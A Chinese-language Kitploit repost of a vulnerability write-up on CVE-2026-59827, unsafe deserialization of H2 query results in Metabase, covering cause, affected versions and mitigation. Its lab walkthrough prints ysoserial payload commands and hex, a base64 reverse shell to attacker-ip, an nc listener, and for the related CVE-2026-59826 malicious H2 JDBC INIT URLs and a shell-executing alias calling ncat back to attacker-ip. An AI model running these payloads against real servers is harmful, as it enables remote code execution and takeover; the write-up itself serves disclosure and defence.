Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-59827 — 关于 CVE-2026-59827、不安全的 H2 查询输出反序列化的博客 | Kitploit
工具/GitHubGitHub/c0gnit00/cve-2026-59827
漏洞分析漏洞利用Web应用程序漏洞利用论文与研究学习与教育二进制利用
GitHubc0gnit00/cve-2026-59827

CVE-2026-59827

关于 CVE-2026-59827、不安全的 H2 查询输出反序列化的博客

查看仓库
101个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-59827 — Metabase 中 H2 查询结果的不安全反序列化

GHSA-w95f-x9v9-wv36 | CVSS 9.9 严重 | CWE-502:不可信数据的反序列化

图片加载错误

概述

CVE-2026-59827 是 Metabase(流行的开源商业智能与数据分析平台)中的一个严重远程代码执行漏洞。该缺陷源于 Metabase 处理 H2 数据库连接返回的查询结果的方式。当针对 H2 数据源的原生 SQL 查询返回一个类型为 OTHER 的列时,Metabase 会在不做任何验证的情况下将该列的原始字节反序列化为 Java 对象。因此,任何能够运行原生查询的已认证用户都可以将恶意序列化载荷潜入结果集中,并在托管 Metabase 的服务器上触发任意代码执行。

该漏洞的 CVSS 评分为 9.9,反映出利用所需前提条件极少,且成功利用后可导致完全的服务器端代码执行。


Metabase 版本方案

Metabase 在同一个发布周期中提供两条并行的版本轨道。开源版使用以 0 为前缀的版本号——例如 v0.61.1。企业版(商业版)使用以 1 为前缀的版本号——例如 v1.61.1。两个版本共享相同的底层代码库并一同发布,因此影响 v1.61.0 的漏洞同样影响 v0.61.0。在本文中,版本号使用企业版 1.xx 前缀书写,但每个受影响版本都可通过将开头的 1 替换为 0,直接对应其 0.xx 开源版。


受影响版本

CVE-2026-59826 和 CVE-2026-59827 于 2026 年 7 月一同披露。它们受影响版本范围重叠,但修补点不同。

CVE-2026-59827 — 不安全反序列化(本文)

受影响的企业版为 1.58.0 至 1.58.14、1.59.0 至 1.59.11、1.60.0 至 1.60.6.2,以及 1.61.0 至 1.61.1.3。对应的开源版为 0.58.0 至 0.58.14、0.59.0 至 0.59.11、0.60.0 至 0.60.6.2,以及 0.61.0 至 0.61.1.3。

内部补丁最初以 1.61.1.4(企业版)和 0.61.1.4(开源版)的形式发布。1.61 系列中首个公开可用的修复版本是 1.61.2(v1.61.2.x / v0.61.2.x)。Metabase Cloud 实例已由服务提供商自动修补。

CVE-2026-59826 — 不安全的 H2 连接属性(相关)

受影响的企业版为 1.55.0 至 1.58.15.0、1.59.0 至 1.59.11、1.60.0 至 1.60.6.2,以及 1.61.0 至整个 1.61.1.x 系列。首个完全修补的公开版本是 1.61.2(v1.61.2.x / v0.61.2.x)。CVE-2026-59826 的影响范围更广,可追溯至 1.55 系列,反映了其利用的数据库创建代码路径验证不足的问题存在时间更长。


背景:Java 反序列化

Java 的序列化机制允许将内存中的对象转换为扁平的字节流,进行存储或传输,之后通过调用 ObjectInputStream.readObject() 重新构建。该机制的一个关键特性是:重建过程会执行代码。类构造函数、readObject 重写和终结器都会在反序列化期间运行。如果读取的字节来自不可信来源,攻击者就可以精心构造这些字节,通过 JVM 中已加载的现有合法类序列触发任意方法调用。这些序列被称为 gadget 链(小工具链)。

Gadget 链不需要向应用程序引入任何新代码。它们利用现有库类的调用关系——这些类的常规方法在反序列化过程中按正确顺序被调用时,最终会到达 Runtime.exec() 之类的 sink。像 ysoserial 这样的工具正是为了针对广泛部署的库(如 Apache Commons Collections、Spring Framework 等)生成这些载荷而存在的。


背景:H2 的 OTHER 类型

H2 是一个纯 Java 的内嵌式关系数据库。它定义了一种特殊的 SQL 列类型 OTHER,作为任意 Java 对象的直通通道。当 H2 将值存入 OTHER 列时,它写入由 Java 的 ObjectOutputStream 生成的字节。当它读回该值时,会调用 ObjectInputStream.readObject() 来重建对象。原始序列化字节也可以直接通过 H2 的十六进制字面量语法在查询中提供:

root@kitploit:~
SELECT CAST(X'ACED0005...' AS OTHER); 
-- or 
SELECT X'ACED0005...'::OTHER;

前缀 ACED 后跟 0005 是 Java 序列化流的魔数和协议版本。任何以 ACED0005 开头的十六进制字符串都是一个 Java 序列化对象流。

当 H2 处理此查询时,它会在数据库端反序列化这些十六进制字节。生成的对象随后通过 JDBC ResultSet 传回调用方应用程序。如果应用程序检查该列的值——例如,为了格式化显示——可能会触发额外的处理。这正是 Metabase 在易受攻击的代码路径中所做的事情。


漏洞原理

易受攻击的代码路径

Metabase 从 H2 驱动接收 JDBC ResultSet 并检查列元数据,以决定如何向用户渲染每个值。当它遇到 JDBC 类型 Types.OTHER(也报告为 JAVA_OBJECT)的列时,存在漏洞的 Metabase 版本会尝试反序列化原始字节以生成可显示的表示形式。此反序列化调用 ObjectInputStream.readObject() 在执行时没有任何白名单过滤或类验证。

事件序列如下:

  1. 已认证的攻击者打开 Metabase SQL 查询编辑器,并锁定一个已连接的 H2 数据库。示例数据库就足够了。
  2. 攻击者提交一条原生 SQL 查询,返回一个类型为 OTHER 的列,其中包含精心构造的序列化载荷。
  3. H2 处理该查询,并将原始字节作为 ResultSet 中的 JAVA_OBJECT 列返回。
  4. Metabase 的结果处理管线遇到 OTHER 列类型,并对这些字节调用 readObject()。
  5. 载荷中嵌入的 gadget 链触发,到达 Runtime.exec(),并以运行 Metabase 进程的操作系统用户身份执行攻击者的命令。

修复方案

已修补的版本通过在尝试任何反序列化之前检查 JDBC 结果元数据来解决此问题。如果某列被声明为 JAVA_OBJECT 类型,Metabase 现在会直接拒绝该列,而不是尝试解析它。


限制与攻击面

需要什么访问权限

利用需要认证。攻击者必须拥有一个 Metabase 账户,并且具备对 H2 后端数据库的原生查询执行权限。管理员账户默认满足此条件。如果管理员授予了普通用户账户对相关数据库的原生查询数据权限,普通用户账户也可以满足此要求。

H2 作为数据仓库已被移除

Metabase 在 2023 年发布的 0.46.6.4 版本中移除了将 H2 添加为新的数据仓库连接的功能。尝试通过管理界面注册新的 H2 连接会返回错误"不支持将 H2 作为数据仓库"。此次移除是对早期 H2 相关漏洞的回应,旨在消除连接到攻击者控制的 H2 实例的风险。

然而,从数据仓库连接界面移除 H2 并不等于从 Metabase 中移除 H2。默认的每个 Metabase 安装中仍然存在两个 H2 数据库。

第一个是应用数据库。当 Metabase 未配置使用 PostgreSQL 或 MySQL 等外部数据库时,它会将自己的元数据——问题、仪表板、用户账户和设置——存储在 /metabase-data/metabase.db.mv.db 的 H2 文件中。该数据库不能通过 Metabase 界面直接查询。

第二个是示例数据库,也是更直接被利用的。在初始设置期间,Metabase 会创建一个预填充了示例数据的 H2 数据库,并将其作为"Sample Database"连接提供。该连接默认存在于每个 Metabase 实例中,是 CVE-2026-59827 的主要攻击面。它是一个实时的 H2 连接,用户可以对其运行原生 SQL 查询,管理面板中可见的连接字符串指向 file:/plugins/sample-database.db。

示例数据库的写入权限

示例数据库对所有用户(包括管理员)强制实施只读访问。Metabase 的数据库设置页面 http://localhost:3000/admin/databases 允许对已连接的数据库授予写访问权限,但该开关对示例数据库不可用。这意味着 CREATE、UPDATE 和 DELETE 等数据操纵语言语句无法通过常规方式针对示例数据库执行。

Metabase 管理员数据库设置页面,显示写访问控制

这个限制很重要,因为它关闭了某些替代攻击路径。例如,H2 引擎支持 CREATE ALIAS 语句,可以定义 Java 函数并调用它:

root@kitploit:~
CREATE ALIAS REVEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";
} $$;

由于示例数据库的写访问被锁定,这条 DDL 路径不可用。通过 SELECT CAST(X'...' AS OTHER) 进行反序列化的路径之所以是可行的利用途径,正是因为它只需要一条 SELECT 语句,而所有用户都被允许执行 SELECT。


搭建漏洞环境

要在受控的实验室环境中测试此漏洞,请运行受影响范围内的 Metabase 版本:

root@kitploit:~
docker run -d -p 3000:3000 \
  --name metabase-vulnerable \
  -v metabase-data:/metabase-data \
  metabase/metabase:v0.61.1

Metabase 将在 http://localhost:3000 初始化,在 /metabase-data/metabase.db.mv.db 创建其 H2 应用数据库,并自动配置示例数据库。完成初始账户设置以获得已认证会话。设置完成后,导航到 Sample Database 的 SQL 编辑器。这就是漏洞的执行环境。


利用漏洞

步骤 1 — 确认反序列化处于活动状态

在尝试命令执行之前,先确认反序列化路径是否可达。来自 ysoserial 的 URLDNS gadget 链生成的载荷在反序列化时会向指定的主机名发起一次出站 DNS 查询。它不会执行任何系统命令,因此是一种安全的探测方式,可用于确认 readObject() 确实被调用。

生成载荷:

root@kitploit:~
/usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial-all.jar URLDNS 'http://your-oast-hostname.oast.fun' | xxd -p | tr -d '\n'

这会生成一个以 aced0005 开头的十六进制字符串。以下是从捕获的载荷中取出的十六进制输出示例:

root@kitploit:~
aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78

步骤 2 — 运行 URLDNS 探测查询

在 Metabase 中针对 Sample Database 打开 SQL 编辑器,并运行以下查询(将为你自己的 OAST 主机名生成的十六进制字符串替换进去):

root@kitploit:~
SELECT X'aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78'::OTHER;

监控你的 OAST 监听器。如果收到来自 Metabase 服务器 IP 地址的 DNS 查询,则确认 readObject() 已被调用,并且反序列化正发生在 OTHER 列上。

在 Metabase SQL 编辑器中提交的 DNS 探测查询 OAST 监听器收到的 DNS 回调,确认反序列化发生

步骤 3 — 识别可用的 gadget 链

哪个 gadget 链能够实现代码执行,取决于 Metabase 服务器类路径上存在哪些 Java 库。请依次尝试以下链:

root@kitploit:~
java -jar ysoserial-all.jar CommonsCollections1 'id' > payload.bin
java -jar ysoserial-all.jar CommonsCollections2 'id' > payload.bin
java -jar ysoserial-all.jar CommonsCollections3 'id' > payload.bin
java -jar ysoserial-all.jar Clojure 'id' > payload.bin

将每个二进制载荷转换为 SQL 查询所需的十六进制格式:

root@kitploit:~
xxd -p payload.bin | tr -d '\n' > payload.hex

然后在 Metabase SQL 编辑器中用相同的 SELECT X'...'::OTHER 模式提交,并观察命令输出是否反映在错误消息或响应中。

步骤 4 — 执行命令执行载荷

一旦识别出可用的 gadget 链,将测试命令替换为所需的载荷。对于反向 shell,请对命令进行 base64 编码以避免 shell 引号问题:

root@kitploit:~
echo 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1' | base64

使用 base64 解码执行模式生成 ysoserial 载荷:

root@kitploit:~
java -jar ysoserial-all.jar CommonsCollections1 \
  'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci1pcC80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}' \
  > payload.bin

xxd -p payload.bin | tr -d '\n' > payload.hex

在提交查询之前设置监听器:

root@kitploit:~
nc -lvnp 4444

然后将十六进制字符串粘贴到 SQL 编辑器中:

root@kitploit:~
SELECT X'<paste hex string here>'::OTHER;

当 Metabase 处理结果集并遇到 OTHER 列时,readObject() 触发,gadget 链执行,反向 shell 连接回来。


故障排查

如果抛出 InvalidClassException,说明 gadget 链依赖的库版本与服务器上存在的版本不匹配。请尝试其他链。

如果提交查询后没有任何反应,则可能是实例已修补、JEP 290 序列化过滤器已启用并阻止了 gadget 链,或者 OTHER 列类型未被易受攻击的代码路径处理。

如果出现 ClassNotFoundException,则所需库完全不在类路径中。请尝试其他链。

在界面输出中,你只会看到错误 我们遇到服务器问题:

图片加载错误

与 CVE-2026-59826 的关系

CVE-2026-59826(GHSA-r6x2-rchx-q9g9)是一个同时披露的相关漏洞。CVE-2026-59827 通过查询结果利用反序列化,而 CVE-2026-59826 针对的是另一条代码路径:数据库注册端点。已认证的管理员可以提交一个精心构造的 H2 JDBC 连接 URL,其中包含一个 INIT 参数,该参数在建立连接时被执行。由于某些数据库创建和数据库编辑代码路径对 INIT 字段应用的验证不足,拥有管理员权限的攻击者可以通过连接字符串而非查询实现 RCE。

恶意 INIT 连接 URL 的形式如下:

root@kitploit:~
jdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM "http://attacker-ip/rce.sql"

攻击者提供的 SQL 文件可以定义并调用一个执行 shell 命令的 Java 别名:

root@kitploit:~
CREATE ALIAS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
    String[] command = {"bash", "-c", cmd};
    java.util.Scanner s = new java.util.Scanner(
        Runtime.getRuntime().exec(command).getInputStream()
    ).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";
}
$$;
CALL SHELLEXEC('ncat -e /bin/bash attacker-ip 5555')

或者,INIT 字符串可以直接嵌入触发器,而无需远程获取文件:

root@kitploit:~
jdbc:h2:file:/tmp/tempdb;TRACE_LEVEL_SYSTEM_OUT=0\;
CREATE TRIGGER rce_trigger BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$
java.lang.Runtime.getRuntime().exec('bash -c {echo,<base64_payload>}|{base64,-d}|{bash,-i}')
$$--=x

CVE-2026-59826 和 CVE-2026-59827 具有相同的根本原因——对 H2 服务端执行功能的加固不足——但在被利用的具体代码路径和所需权限级别上有所不同。


缓解与修复

将 Metabase 升级到以下已修补版本之一:1.58.15、1.59.12、1.60.6.3 或 1.61.1.4。这些版本修改了结果处理管线,使其检查 JDBC 列元数据,并拒绝处理任何报告为 JAVA_OBJECT 或 OTHER 类型的列,从而阻止反序列化调用发生。

如果无法立即升级,请限制原生查询权限。移除所有非管理员用户对 H2 后端数据库(包括示例数据库)的原生查询执行权限。这将攻击面缩减到仅管理员级别的账户。另外,请考虑是否确实需要示例数据库;禁用或移除它可以彻底消除此 CVE 的 H2 攻击面。

对于使用 H2 作为应用数据库的自托管实例,Metabase 官方文档建议迁移到 PostgreSQL 或 MySQL,作为更稳健、更安全的应用数据库后端。


参考

  • NVD 条目:https://nvd.nist.gov/vuln/detail/CVE-2026-59827
  • GitHub 公告 GHSA-w95f-x9v9-wv36:https://github.com/metabase/metabase/security/advisories/GHSA-w95f-x9v9-wv36
  • OSV 条目:https://osv.dev/vulnerability/GHSA-w95f-x9v9-wv36
  • ysoserial 载荷生成器:https://github.com/frohoff/ysoserial/releases
下载工具